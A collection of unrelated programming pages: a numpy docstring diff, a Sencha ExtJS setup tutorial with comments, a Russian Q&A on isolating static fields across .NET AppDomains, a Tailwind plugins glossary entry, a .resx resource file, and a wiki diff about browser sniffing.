each element in `x`. For complex input, ``a + ib``, the
absolute value is :math:`\\sqrt{ a^2 + b^2 }`.
- Returns a scalar for scalar input.
-
Examples
--------
>>> x = np.array([-1.2, 1.2])
@@ -1126,6 +1124,13 @@
>>> np.greater([4,2],[2,2])
array([ True, False], dtype=bool)
+ If the inputs are ndarrays, then np.greater is equivalent to '>'.
+
+ >>> a = np.array([4,2])
+ >>> b = np.array([2,2])
+ >>> a > b
+ array([ True, False], dtype=bool)
+
""")
add_newdoc('numpy.core.umath', 'greater_equal',
@@ -2104,14 +2109,15 @@
Returns
-------
y : ndarray
- The square-root of each element in `x`. If any element in `x`
+ An array of the same shape as `x`, containing the square-root of
+ each element in `x`. If any element in `x`
is complex, a complex array is returned. If all of the elements
- of `x` are real, negative elements will return numpy.nan elements.
+ of `x` are real, negative elements return numpy.nan elements.
See Also
--------
numpy.lib.scimath.sqrt
- A version which will return complex numbers when given negative reals.
+ A version which returns complex numbers when given negative reals.
Notes
-----
Modified: branches/1.2.x/numpy/core/defmatrix.py
===================================================================
--- branches/1.2.x/numpy/core/defmatrix.py 2008-10-28 00:24:27 UTC (rev 5964)
+++ branches/1.2.x/numpy/core/defmatrix.py 2008-10-28 00:38:35 UTC (rev 5965)
@@ -590,6 +590,11 @@
Input data. Variables names in the current scope may
be referenced, even if `obj` is a string.
+ Returns
+ -------
+ out : matrix
+ Returns a matrix object, which is a specialized 2-D array.
+
See Also
--------
matrix
Modified: branches/1.2.x/numpy/core/fromnumeric.py
===================================================================
--- branches/1.2.x/numpy/core/fromnumeric.py 2008-10-28 00:24:27 UTC (rev 5964)
+++ branches/1.2.x/numpy/core/fromnumeric.py 2008-10-28 00:38:35 UTC (rev 5965)
@@ -294,7 +294,7 @@
Returns
-------
a_swapped : ndarray
- If `a` is an ndarray, then a view on `a` is returned, otherwise
+ If `a` is an ndarray, then a view of `a` is returned; otherwise
a new array is created.
Examples
@@ -1176,11 +1176,9 @@
"""
Return the product of array elements over a given axis.
- Refer to `numpy.prod` for full documentation.
-
See Also
--------
- prod : equivalent function
+ prod : equivalent function; see for details.
"""
try:
@@ -1390,11 +1388,10 @@
"""
Return the cumulative product over the given axis.
- See `cumprod` for full documentation.
See Also
--------
- cumprod
+ cumprod : equivalent function; see for details.
"""
try:
@@ -1449,7 +1446,7 @@
def amax(a, axis=None, out=None):
"""
- Return the maximum along a given axis.
+ Return the maximum along an axis.
Parameters
----------
@@ -1463,19 +1460,19 @@
Returns
-------
- amax : {ndarray, scalar}
+ amax : ndarray
A new array or a scalar with the result, or a reference to `out`
if it was specified.
Examples
--------
- >>> x = np.arange(4).reshape((2,2))
- >>> x
+ >>> a = np.arange(4).reshape((2,2))
+ >>> a
array([[0, 1],
[2, 3]])
- >>> np.amax(x,0)
+ >>> np.amax(a, axis=0)
array([2, 3])
- >>> np.amax(x,1)
+ >>> np.amax(a, axis=1)
array([1, 3])
"""
@@ -1488,7 +1485,7 @@
def amin(a, axis=None, out=None):
"""
- Return the minimum along a given axis.
+ Return the minimum along an axis.
Parameters
----------
@@ -1502,19 +1499,21 @@
Returns
-------
- amin : {ndarray, scalar}
+ amin : ndarray
A new array or a scalar with the result, or a reference to `out` if it
was specified.
Examples
--------
- >>> x = np.arange(4).reshape((2,2))
- >>> x
+ >>> a = np.arange(4).reshape((2,2))
+ >>> a
array([[0, 1],
[2, 3]])
- >>> np.amin(x,0)
+ >>> np.amin(a) # Minimum of the flattened array
+ 0
+ >>> np.amin(a, axis=0) # Minima along the first axis
array([0, 1])
- >>> np.amin(x,1)
+ >>> np.amin(a, axis=1) # Minima along the second axis
array([0, 2])
"""
@@ -1638,7 +1637,7 @@
Parameters
----------
- a : array-like
+ a : array_like
Input array.
axis : int, optional
Axis along which the cumulative product is computed. By default the
@@ -1656,7 +1655,7 @@
Returns
-------
- cumprod : ndarray.
+ cumprod : ndarray
A new array holding the result is returned unless `out` is
specified, in which case a reference to out is returned.
@@ -1923,21 +1922,21 @@
a : array_like
Array containing numbers whose mean is desired. If `a` is not an
array, a conversion is attempted.
- axis : {None, int}, optional
+ axis : int, optional
Axis along which the means are computed. The default is to compute
the mean of the flattened array.
- dtype : {None, dtype}, optional
- Type to use in computing the mean. For integer inputs the default
- is float64; for floating point inputs it is the same as the input
+ dtype : dtype, optional
+ Type to use in computing the mean. For integer inputs, the default
+ is float64; for floating point, inputs it is the same as the input
dtype.
- out : {None, ndarray}, optional
+ out : ndarray, optional
Alternative output array in which to place the result. It must have
the same shape as the expected output but the type will be cast if
necessary.
Returns
-------
- mean : {ndarray, scalar}, see dtype parameter above
+ mean : ndarray, see dtype parameter above
If `out=None`, returns a new array containing the mean values,
otherwise a reference to the output array is returned.
@@ -2048,27 +2047,27 @@
Parameters
----------
a : array_like
- Array containing numbers whose variance is desired. If a is not an
+ Array containing numbers whose variance is desired. If `a` is not an
array, a conversion is attempted.
axis : int, optional
Axis along which the variance is computed. The default is to compute
the variance of the flattened array.
dtype : dtype, optional
Type to use in computing the variance. For arrays of integer type
- the default is float32, for arrays of float types it is the same as
+ the default is float32; for arrays of float types it is the same as
the array type.
out : ndarray, optional
Alternative output array in which to place the result. It must have
- the same shape as the expected output but the type will be cast if
+ the same shape as the expected output but the type is cast if
necessary.
ddof : positive int,optional
- Means Delta Degrees of Freedom. The divisor used in calculation is
+ "Delta Degrees of Freedom": the divisor used in calculation is
N - ddof.
Returns
-------
- variance : {ndarray, scalar}, see dtype parameter above
- If out=None, returns a new array containing the variance, otherwise
+ variance : ndarray, see dtype parameter above
+ If out=None, returns a new array containing the variance; otherwise
a reference to the output array is returned.
See Also
@@ -2079,7 +2078,7 @@
Notes
-----
The variance is the average of the squared deviations from the mean,
- i.e. var = mean(abs(x - x.mean())**2). The computed variance is biased,
+ i.e., var = mean(abs(x - x.mean())**2). The computed variance is biased,
i.e., the mean is computed by dividing by the number of elements, N,
rather than by N-1. Note that for complex numbers the absolute value is
taken before squaring, so that the result is always real and nonnegative.
Modified: branches/1.2.x/numpy/core/numeric.py
===================================================================
--- branches/1.2.x/numpy/core/numeric.py 2008-10-28 00:24:27 UTC (rev 5964)
+++ branches/1.2.x/numpy/core/numeric.py 2008-10-28 00:38:35 UTC (rev 5965)
@@ -687,20 +687,18 @@
except ImportError:
def alterdot():
"""
- Change `dot`, `vdot`, and `innerproduct` to use accelerated BLAS
- functions.
+ Change `dot`, `vdot`, and `innerproduct` to use accelerated BLAS functions.
- When numpy is built with an accelerated BLAS like ATLAS, the above
- functions will be replaced to make use of the faster implementations.
- The faster implementations only affect float32, float64, complex64, and
- complex128 arrays. Furthermore, only matrix-matrix, matrix-vector, and
- vector-vector products are accelerated. Products of arrays with larger
- dimensionalities will not be accelerated since the BLAS API only
- includes these.
+ Typically, as a user of Numpy, you do not explicitly call this function. If
+ Numpy is built with an accelerated BLAS, this function is automatically
+ called when Numpy is imported.
- Typically, the user will never have to call this function. If numpy was
- built with an accelerated BLAS, this function will be called when numpy
- is imported.
+ When Numpy is built with an accelerated BLAS like ATLAS, these functions
+ are replaced to make use of the faster implementations. The faster
+ implementations only affect float32, float64, complex64, and complex128
+ arrays. Furthermore, the BLAS API only includes matrix-matrix,
+ matrix-vector, and vector-vector products. Products of arrays with larger
+ dimensionalities use the built in functions and are not accelerated.
See Also
--------
Modified: branches/1.2.x/numpy/lib/function_base.py
===================================================================
--- branches/1.2.x/numpy/lib/function_base.py 2008-10-28 00:24:27 UTC (rev 5964)
+++ branches/1.2.x/numpy/lib/function_base.py 2008-10-28 00:38:35 UTC (rev 5965)
@@ -1128,6 +1128,17 @@
>>> np.interp(3.14, xp, fp, right=UNDEF)
-99.0
+ Plot an interpolant to the sine function:
+
+ >>> x = np.linspace(0, 2*np.pi, 10)
+ >>> y = np.sin(x)
+ >>> xvals = np.linspace(0, 2*np.pi, 50)
+ >>> yinterp = np.interp(xvals, x, y)
+ >>> import matplotlib.pyplot as plt
+ >>> plt.plot(x, y, 'o')
+ >>> plt.plot(xvals, yinterp, '-x')
+ >>> plt.show()
+
"""
if isinstance(x, (float, int, number)):
return compiled_interp([x], xp, fp, left, right).item()
Modified: branches/1.2.x/numpy/lib/polynomial.py
===================================================================
--- branches/1.2.x/numpy/lib/polynomial.py 2008-10-28 00:24:27 UTC (rev 5964)
+++ branches/1.2.x/numpy/lib/polynomial.py 2008-10-28 00:38:35 UTC (rev 5965)
@@ -277,7 +277,7 @@
def polyder(p, m=1):
"""
- Return the derivative of order m of a polynomial.
+ Return the derivative of the specified order of a polynomial.
Parameters
----------
@@ -295,6 +295,7 @@
See Also
--------
polyint : Anti-derivative of a polynomial.
+ poly1d : Class for one-dimensional polynomials.
Examples
--------
Modified: branches/1.2.x/numpy/lib/twodim_base.py
===================================================================
--- branches/1.2.x/numpy/lib/twodim_base.py 2008-10-28 00:24:27 UTC (rev 5964)
+++ branches/1.2.x/numpy/lib/twodim_base.py 2008-10-28 00:38:35 UTC (rev 5965)
@@ -165,14 +165,14 @@
Number of columns in the output. If None, defaults to `N`.
k : int, optional
Index of the diagonal: 0 refers to the main diagonal, a positive value
- refers to an upper diagonal and a negative value to a lower diagonal.
+ refers to an upper diagonal, and a negative value to a lower diagonal.
dtype : dtype, optional
Data-type of the returned array.
Returns
-------
I : ndarray (N,M)
- An array where all elements are equal to zero, except for the k'th
+ An array where all elements are equal to zero, except for the `k`-th
diagonal, whose values are equal to one.
See Also
Modified: branches/1.2.x/numpy/random/mtrand/mtrand.pyx
===================================================================
--- branches/1.2.x/numpy/random/mtrand/mtrand.pyx 2008-10-28 00:24:27 UTC (rev 5964)
+++ branches/1.2.x/numpy/random/mtrand/mtrand.pyx 2008-10-28 00:38:35 UTC (rev 5965)
@@ -1902,7 +1902,7 @@
"""
lognormal(mean=0.0, sigma=1.0, size=None)
- Log-normal distribution.
+ Return samples drawn from a log-normal distribution.
Draw samples from a log-normal distribution with specified mean, standard
deviation, and shape. Note that the mean and standard deviation are not the
@@ -1938,7 +1938,7 @@
where :math:`\\mu` is the mean and :math:`\\sigma` is the standard deviation
of the normally distributed logarithm of the variable.
- A log normal distribution results if a random variable is the *product* of
+ A log-normal distribution results if a random variable is the *product* of
a large number of independent, identically-distributed variables in the
same way that a normal distribution results if the variable is the *sum*
of a large number of independent, identically-distributed variables
@@ -1947,7 +1947,7 @@
The log-normal distribution is commonly used to model the lifespan of units
with fatigue-stress failure modes. Since this includes
- most mechanical systems, the lognormal distribution has widespread
+ most mechanical systems, the log-normal distribution has widespread
application.
It is also commonly used to model oil field sizes, species abundance, and
@@ -1986,7 +1986,7 @@
>>> plt.show()
Demonstrate that taking the products of random samples from a uniform
- distribution can be fit well by a log-normal pdf.
+ distribution can be fit well by a log-normal probability density function.
>>> # Generate a thousand samples: each is the product of 100 random
>>> # values, drawn from a normal distribution.
More information about the Numpy-svn mailing list
|
__label__pos
| 0.893959 |
Create & build Sencha ExtJS project using Sencha Cmd
Image
Problem Statement
In a typical Sencha ExtJS based enterprise project, we create various JS+CSS files and it becomes cumbersome to manage them during the development because they need to be listed in the proper order in the index.html file and for every addition of a file, we need to add it to the index.html, as well. After the development is done, we minify all the JS and CSS files to have better loading performance, and go back and modify the index.html file to use the minified files rather than individual files. After introduction of the new Class System in ExtJS this tedious task has been taken care by the framework and the developer is not required to do all that, anymore. This is a big relief. However, the new Class System expects a specific folder structure so that it can load the classes, dynamically, and is based on the MVC architecture. To make this managing of folder structure effortless and leverage the same for the minification, Sencha has provided a tool – Sencha Cmd. So, as long as you plan to use the MVC architecture offered by Sencha ExtJS, Sencha Cmd is a must tool to create, build and package your application.
Scope of the article
This article provides you steps to set up Sencha ExtJS project using Sencha Cmd with an example to create a registration form. The article will cover how we can generate a skeleton application using Sencha Cmd, how we create entities – model, view, controller, and store, and how we can build the application to get the minified JS and CSS out.
Pre-requisites:
1. Java Run-time Environment 1.6 or above
2. ExtJs 4.1.1a or above
3. Sencha Cmd 3.0 or above
Step 1: Install Sencha Cmd
1) Extract the zip and double click on .exe file.
2) After running the command, you must see similar type of suggestions
Image
Click on Next> button
Image
After successful installation, it shows below message.
Image
Click on Finish button
3) Once all the above steps are done successfully, go to command line and enter command “sencha”. You must see suggestions for command as shown below.
Image
Step 2: Generate project structure using Sencha Cmd:
1) Create sample Sencha ExtJs project structure with following command.
sencha -sdk /path/to/ExtJssdkFolder generate app MyAppName /path/to/MyAppFolder
2) Project structure generated by above command will have the following structure:
Image
Step 3: Create sample model, view and controller using Sencha Cmd:
1) Go to project path and create sample controller through Sencha Cmd.
sencha generate controller Main
With above command, it should create controller with name Main
Ext.define('extjsExample.controller.Main', {
extend: 'Ext.app.Controller'
});
2) Create Model using following command
sencha generate model Server name:string
With above command, it will create model with name Server and with field name and type as string
Ext.define('extjsExample.model.Server', {
extend: 'Ext.data.Model',
fields: [
{ name: 'name', type: 'string' }
]
});
3) Create sample view using following command (ExtJs Specific. Doesn’t work for touch )
sencha generate view Registration
Above command will create a sample view with name specified.
Ext.define("extjsExample.view.MyCmdView", {
extend: 'Ext.Component',
html: 'Hello, World!!'
});
Note: No other parameters available for creating view and controller except name.
Note: We cannot create store using Sencha Cmd.
Step 4: Create a registration form:
1. Edit app.js and add registrationform xtype in viewport as an item.
Ext.application({
controllers: ["Main"],
views: ['Registration'],
requires:['extjsExample.view.Registration'],
name: 'extjsExample',
launch: function() {
Ext.create('Ext.container.Viewport', {
items: {
xtype: 'registrationform'
}
});
}
});
2. Create a view file with name Registration in app/view folder.
Sample code:
Ext.define("extjsExample.view.Registration", {
extend: 'Ext.Container',
xtype: 'registrationform',
requires:['Ext.layout.container.Card','Ext.form.field.ComboBox',
'Ext.form.field.Text'],
renderTo: Ext.getBody(),
width: 500,
height: 200,
initComponent : function() {
var me = this;
var required = '<span style="color:red;font-weight:bold" data-qtip="Required">*</span>';
Ext.apply(me, {
ltems: [{
xtype: 'form',
frame: true,
title: 'Registration Form',
bodyPadding: '10 10 0',
defaults: {
anchor: '100%',
allowBlank: false,
msgTarget: 'side',
labelWidth: 120
},
items: [{
xtype: 'textfield',
name: 'username',
emptyText: 'Enter User Name / Mail id',
afterLabelTextTpl: required,
fieldLabel: 'User Name/Mail Id'
},{
xtype: 'textfield',
name: 'password',
inputType: 'password',
afterLabelTextTpl: required,
emptyText: 'Enter Password',
fieldLabel: 'Password'
},{
xtype: 'textfield',
name: 'retype-password',
inputType: 'password',
afterLabelTextTpl: required,
emptyText: 'Re-Enter Password',
fieldLabel: 'Re-Enter Password'
},{
xtype: 'combo',
name: 'server',
allowBlank : true,
fieldLabel: 'Server',
store: Ext.create('extjsExample.store.Server'),
displayField: 'name',
editable: false,
valueField: 'name'
}],
buttons: [{
text: 'Ok',
},{
text: 'Cancel',
handler: function() {
this.up('form').getForm().reset();
}
}]
}]
});
me.callParent(arguments);
}
});
3) In the example, to show content in combobox, store was specified. Hence, Create a store, with the name Server, which is specified in the combo box’s store.
Sample Code:
Ext.define('extjsExample.store.Server', {
extend : 'Ext.data.Store',
requires:['extjsExample.model.Server'],
model: 'extjsExample.model.Server',
storeId : 'server',
proxy: {
type: 'ajax',
url: 'data/server.json',
reader: {
type: 'json',
root: 'data'
}
}
});
4) In above code, proxy was set and data is being retrieved from JSON file. So create a JSON file in data folder.
Sample JSON data:
{"data":[{"name":"Buddha"},{"name":"Zorba"},{"name":"Ashoka"}]}
Run the application:
Now, run the application in your server. You should be able to see the registration form view similar to following output.
Image
Click on dropdown to see JSON data.
Image
Step 5: Packaging Application:
Packaging decreases the loading time of your application. Here are the steps to package your app using Sencha Cmd.
Go to your project folder and execute the following command.
sencha app build production
Once, above command was executed, it should create a build folder in main project structure.
The structure looks like:
Image
all-classes.js contains the whole code related to application. You can run the application by navigating browser to packaged location.
Summary: This article has provided steps to create and build Sencha ExtJS project using Sencha Cmd with an example to create a registration form.
References:
Tagged with: , , , ,
Posted in Sencha ExtJS
8 comments on “Create & build Sencha ExtJS project using Sencha Cmd
1. venkateshtejap says:
Hi,
In the Registration.js file please use the “items” instead of “items”.
Thanks,
Venkatesh Teja.
2. Maz says:
In the last point you mentioned Run the command from you project folder. Which folder are you exactly referring to?
3. janardhan pasumarthi says:
@Partha,
Do you see any errors in console? And are you able to run the application without build?
4. partha says:
I have created and built according to the instruction, but nothing showing in the browser.
what would be the reason?
5. Humayun Javed says:
Hi nice Post but i am facing a problem that is after building testing app using sencha app build testing…when i load it in browser Ext.Loader not able to find all controllers of my app. Please tell what would be the reason? waiting for reply. and here is my app.js code
Ext.application({
name: ‘SB’,
controllers: [
‘Login’,
‘Routes’,
‘Stores’,
‘opsHierarchy’,
‘UserManagementSSC’,
‘UserManagementCDC’,
‘ReasonCodeConfig’,
‘Trips’,
‘ProviderManagement’,
‘Photos’,
‘Reports’
],
autoCreateViewport: true,
launch: function () {
Ext.util.Cookies.clear(‘utype’);
Ext.util.Cookies.clear(‘providerID’);
Ext.Ajax.timeout = 150000;
var phNumberVType = {
telNumber: function(val, field){
var phoneRegex = /^(\d{3}[-]?){1,2}(\d{4})$/;
return phoneRegex.test(val);
},
telNumberText: ‘Not a valid phone number. Must be in the format 123-4567 or 123-456-7890 (dashes optional)’,
telNumberMask: /[\d\-]/
};
Ext.apply(Ext.form.field.VTypes, phNumberVType);
Ext.apply(Ext.form.VTypes, {
‘multiemail’ : function(v) {
var array = v.split(‘;’);
var valid = true;
Ext.each(array, function(value) {
if (!this.email(value)) {
valid = false;
return false;
};
}, this);
return valid;
},
‘multiemailText’ : ‘This field should be an e-mail address, or a list of email addresses separated by (;) and without space in the format “[email protected];[email protected]”‘,
‘multiemailMask’ : /[a-z0-9_\.\-@\;]/i,
’email’ : function(v){
var email = /^([\w]+)(.[\w]+)*@([\w-]+\.){1,5}([A-Za-z]){2,4}$/;
return email.test(v);
}
});
var task = new Ext.util.DelayedTask(function() {
// Fade out the body mask
splashscreen.fadeOut({
duration: 1000,
remove:true
});
// Fade out the icon and message
splashscreen.next().fadeOut({
duration: 1000,
remove:true,
listeners: {
afteranimate: function() {
// Set the body as unmasked after the animation
Ext.getBody().unmask();
}
}
});
});
// Run the fade 500 milliseconds after launch.
task.delay(500);
}
});
6. @purna
First you define some name for the common app.
i.e prefix for the common source.
for example Common could be the prefix name/common app name.
then define your classes with this name like
Ext.define(‘Common.view.Admin’,{});
In the app.js or application.js
deinfe the path for the name Common
like
Ext.Loader.setPath({
‘Common’:’path/to/your/common/src’
});
And add requires for the classes defined in common/src in your application.
Ext loader will load the classes form the common/src or the path given in the setPath function
7. k purna chandra reddy says:
hi ,
where to create common code folder like common/src .
how to mentation path in ext.define .
Ext.define(‘ ——. common.src.Admin’,{
extends:’Ext.container.Container’
…………………………..
});
8. k purna chandra reddy says:
Thanks You so much for your Post. It Really helped me .
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2
Есть .dll, в ней статический класс, со статическими данными (заполненными полями, методами).
Задача: загрузить сборку в разные домены приложений, сделать возможность многопоточного выполнения метода из сборки, но чтобы данные не пересекались. Т.е. чтобы в каждом домене приложений использовался свой экземпляр статического класса, статические поля которого имели собственные значения, уникальные для каждого домена приложений.
Что уже есть:
Task.Run(() =>
{
var domain = AppDomain.CreateDomain("domain1");
var dll = domain.Load("TestDll");
var type = dll.GetType("TestStaticClass");
var method = type.GetMethod("TestStaticMethod");
method.Invoke(null, null);
AppDomain.Unload(domain);
}
Но к сожалению, в таком варианте исполнения - данные статических полей общие для всех доменов приложения (т.е. данные пересекаются).
p.s. помечать статические поля атрибутом ThreadStatic - не предлагать. Да, в таком случае поля будут уникальными для каждого потока, но если в домене приложения два и более потоков - значения полей будут доступны только в первом потоке, в котором будет инициализирован статический конструктор, в последующих потоках поля будут иметь значения по умолчанию для каждого типа.
3
Попробуйте так:
public class Program
{
static int counter = 0;
public static void Test()
{
counter++;
Console.WriteLine("in domain {0}, counter = {1}",
AppDomain.CurrentDomain.FriendlyName, counter);
}
static void Main(string[] args)
{
Test();
Task.Run(() =>
{
var domain = AppDomain.CreateDomain("domain1");
domain.DoCallBack(Test);
AppDomain.Unload(domain);
}).Wait();
}
}
Для случая вызова нестатического метода обычно используют MarshalByRefObject и CreateInstanceAndUnwrap. Для случая статического метода достаточно простого domain.DoCallBack.
Обратите внимание на то, что DoCallBack работает по разному с marshal-by-ref- и marshal-by-value-объектами.
Например, такой код:
public class Program : MarshalByRefObject // важно!
{
int counter = 0;
public void Test() // не static
{
counter++;
Console.WriteLine("in domain {0}, counter = {1}",
AppDomain.CurrentDomain.FriendlyName, counter);
}
static void Main(string[] args)
{
var p = new Program();
p.Test();
Task.Run(() =>
{
var domain = AppDomain.CreateDomain("domain1");
domain.DoCallBack(p.Test);
AppDomain.Unload(domain);
}).Wait();
}
}
уже будет вызывать оба раза Test в одном и том же домене.
4
• столкнулся с проблемой. Использую метод с прокси. Задача - вернуть Bitmap из метода CallStatic(). Со строкой - проблем нет. Но с битмапом выдает исключение: "Тип "System.Drawing.Imaging.ImageFormat" не помечен как сериализуемый." Пробовал разные варианты, помечал классы как сереализуемые - но к сожалению так и не удалось победить проблему. – Alexis 23 мая '15 в 9:29
• 1
@z668: Хм. Даже если вы сможете вернуть картинку из другого AppDomain'а, всё равно у графических объектов обычно thread affinity, то есть они могут работать только в том потоке, который их создаёт. А почему вы возвращаете именно картинку? Если она приходит из сети, можно вернуть массив байт, и создать картинку уже в нужном домене. – VladD 23 мая '15 в 9:47
• я просто хотел разобраться со сложными типами, такими как Bitmap. Но теперь стало ясно что это проблематично, а может быть - и невозможно. Спасибо за разъяснение. – Alexis 23 мая '15 в 9:51
• 1
@z668: Маршаллирование хорошо проходит с примитивными типами, а со сложными всё хуже. Например, если объект при создании подписывается на события, и вы утаскиваете его в другой домен, куда должны приходить эти события? Всё сложно :) – VladD 23 мая '15 в 9:52
3
Статические переменные и так разные в разных доменах. Просто ваш код выполняет TestStaticMethod в основном домене - получает в основном домене MethodInfo, и в основном же домене вызывает Invoke. Механизм кросдомееных вызовов полагается на прокси-объекты, так что кросдоменно вызвать статический метод напрямую нельзя.
Для вызова статического метода в другом домене вам нужен нестатический прокси. Примерно так:
в TestDll:
public class TestStaticClass
{
public static void TestStaticMethod()
{
Console.WriteLine(AppDomain.CurrentDomain.FriendlyName);
}
}
public class NonStaticProxy : MarshalByRefObject
{
public void CallStatic()
{
TestStaticClass.TestStaticMethod();
}
}
в основном приложении:
static void Main(string[] args)
{
var domain = AppDomain.CreateDomain("domain1");
var dll = domain.Load("TestDll");
var type = dll.GetType("TestStaticClass");
var method = type.GetMethod("TestStaticMethod");
// prints ConsoleApplication
method.Invoke(null, null);
var wrapper = (NonStaticProxy)domain.CreateInstanceAndUnwrap("TestDll", "NonStaticProxy");
// prints domain1
wrapper.CallStatic();
AppDomain.Unload(domain);
}
5
• а если статических классов сотни (а методов и того больше)? Есть какой либо универсальный подход? – Alexis 21 мая '15 в 19:51
• передавайте имя класса и имя метода параметрами в CallStatic - у вас же правильный код, его просто надо перенести в метод CallStatic – PashaPash 21 мая '15 в 19:56
• @z668 но вообще сотни статических методов - это плохо :) – PashaPash 21 мая '15 в 19:59
• ну я для самообразования спросил. На самом деле мало информации по этой теме, а та что есть - в основном на английском. Сейчас еще проверю вариант VladD. – Alexis 21 мая '15 в 19:59
• 1
@z668 у Vlad вариант лучше. по крайней мере, короче. – PashaPash 21 мая '15 в 20:00
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Back to dictionary
Tailwind CSS Plugins API
Tailwind CSS Plugins API is a powerful tool that allows developers to extend the functionality of Tailwind CSS, a utility-first CSS framework. This API provides a way to add new utility classes, components, or even custom CSS properties to your Tailwind CSS configuration, making it a highly customizable tool for web development.
The Plugins API works by allowing you to write functions that define what styles or components you want to add. These functions are then added to the 'plugins' array in your Tailwind CSS configuration file. Each plugin function is passed an object with several helper functions that can be used to generate CSS.
One of the key features of the Tailwind CSS Plugins API is its ability to generate responsive, hover, focus, and other variant utilities automatically. This means that you can create a plugin for a custom utility class, and Tailwind will automatically generate responsive and state variant versions of your utility.
Another important aspect of the Tailwind CSS Plugins API is its ability to access the user's configuration. This means that your plugins can be dynamic and adapt based on the user's configuration settings. For example, you could create a plugin that generates size utilities based on the user's spacing configuration.
In summary, the Tailwind CSS Plugins API is a powerful tool for extending Tailwind CSS. It allows you to add custom utilities, components, and CSS properties, generate responsive and state variant utilities automatically, and access the user's configuration to create dynamic plugins. This makes it a valuable tool for any web developer looking to customize and extend the functionality of their Tailwind CSS setup.
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PageRenderTime 64ms CodeModel.GetById 36ms app.highlight 1ms RepoModel.GetById 1ms app.codeStats 0ms
/Main/src/DevSamples/TiledRenderingSample/Properties/Resources.resx
#
Unknown | 117 lines | 106 code | 11 blank | 0 comment | 0 complexity | 2cc235996bdc6a073468ff129a404d1f MD5 | raw file
Possible License(s): CC-BY-SA-3.0
1<?xml version="1.0" encoding="utf-8"?>
2<root>
3 <!--
4 Microsoft ResX Schema
5
6 Version 2.0
7
8 The primary goals of this format is to allow a simple XML format
9 that is mostly human readable. The generation and parsing of the
10 various data types are done through the TypeConverter classes
11 associated with the data types.
12
13 Example:
14
15 ... ado.net/XML headers & schema ...
16 <resheader name="resmimetype">text/microsoft-resx</resheader>
17 <resheader name="version">2.0</resheader>
18 <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
19 <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
20 <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
21 <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
22 <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
23 <value>[base64 mime encoded serialized .NET Framework object]</value>
24 </data>
25 <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
26 <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
27 <comment>This is a comment</comment>
28 </data>
29
30 There are any number of "resheader" rows that contain simple
31 name/value pairs.
32
33 Each data row contains a name, and value. The row also contains a
34 type or mimetype. Type corresponds to a .NET class that support
35 text/value conversion through the TypeConverter architecture.
36 Classes that don't support this are serialized and stored with the
37 mimetype set.
38
39 The mimetype is used for serialized objects, and tells the
40 ResXResourceReader how to depersist the object. This is currently not
41 extensible. For a given mimetype the value must be set accordingly:
42
43 Note - application/x-microsoft.net.object.binary.base64 is the format
44 that the ResXResourceWriter will generate, however the reader can
45 read any of the formats listed below.
46
47 mimetype: application/x-microsoft.net.object.binary.base64
48 value : The object must be serialized with
49 : System.Serialization.Formatters.Binary.BinaryFormatter
50 : and then encoded with base64 encoding.
51
52 mimetype: application/x-microsoft.net.object.soap.base64
53 value : The object must be serialized with
54 : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
55 : and then encoded with base64 encoding.
56
57 mimetype: application/x-microsoft.net.object.bytearray.base64
58 value : The object must be serialized into a byte array
59 : using a System.ComponentModel.TypeConverter
60 : and then encoded with base64 encoding.
61 -->
62 <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
63 <xsd:element name="root" msdata:IsDataSet="true">
64 <xsd:complexType>
65 <xsd:choice maxOccurs="unbounded">
66 <xsd:element name="metadata">
67 <xsd:complexType>
68 <xsd:sequence>
69 <xsd:element name="value" type="xsd:string" minOccurs="0" />
70 </xsd:sequence>
71 <xsd:attribute name="name" type="xsd:string" />
72 <xsd:attribute name="type" type="xsd:string" />
73 <xsd:attribute name="mimetype" type="xsd:string" />
74 </xsd:complexType>
75 </xsd:element>
76 <xsd:element name="assembly">
77 <xsd:complexType>
78 <xsd:attribute name="alias" type="xsd:string" />
79 <xsd:attribute name="name" type="xsd:string" />
80 </xsd:complexType>
81 </xsd:element>
82 <xsd:element name="data">
83 <xsd:complexType>
84 <xsd:sequence>
85 <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
86 <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
87 </xsd:sequence>
88 <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
89 <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
90 <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
91 </xsd:complexType>
92 </xsd:element>
93 <xsd:element name="resheader">
94 <xsd:complexType>
95 <xsd:sequence>
96 <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
97 </xsd:sequence>
98 <xsd:attribute name="name" type="xsd:string" use="required" />
99 </xsd:complexType>
100 </xsd:element>
101 </xsd:choice>
102 </xsd:complexType>
103 </xsd:element>
104 </xsd:schema>
105 <resheader name="resmimetype">
106 <value>text/microsoft-resx</value>
107 </resheader>
108 <resheader name="version">
109 <value>2.0</value>
110 </resheader>
111 <resheader name="reader">
112 <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
113 </resheader>
114 <resheader name="writer">
115 <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
116 </resheader>
117</root>
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Difference between revisions of "Optimizing content for different browsers: the RIGHT way"
From Web Education Community Group
Jump to: navigation, search
Line 37: Line 37:
<pre>NCSA_Mosaic/2.0 (Windows 3.1)</pre>
<pre>NCSA_Mosaic/2.0 (Windows 3.1)</pre>
This was pretty simple. Then Netscape came along, identified by a US string of
+
This was pretty simple. Then Netscape came along, identified by a UA string of
<pre>Mozilla/1.0 (Win3.1)</pre>
<pre>Mozilla/1.0 (Win3.1)</pre>
Line 60: Line 60:
===The problem with browser sniffing===
===The problem with browser sniffing===
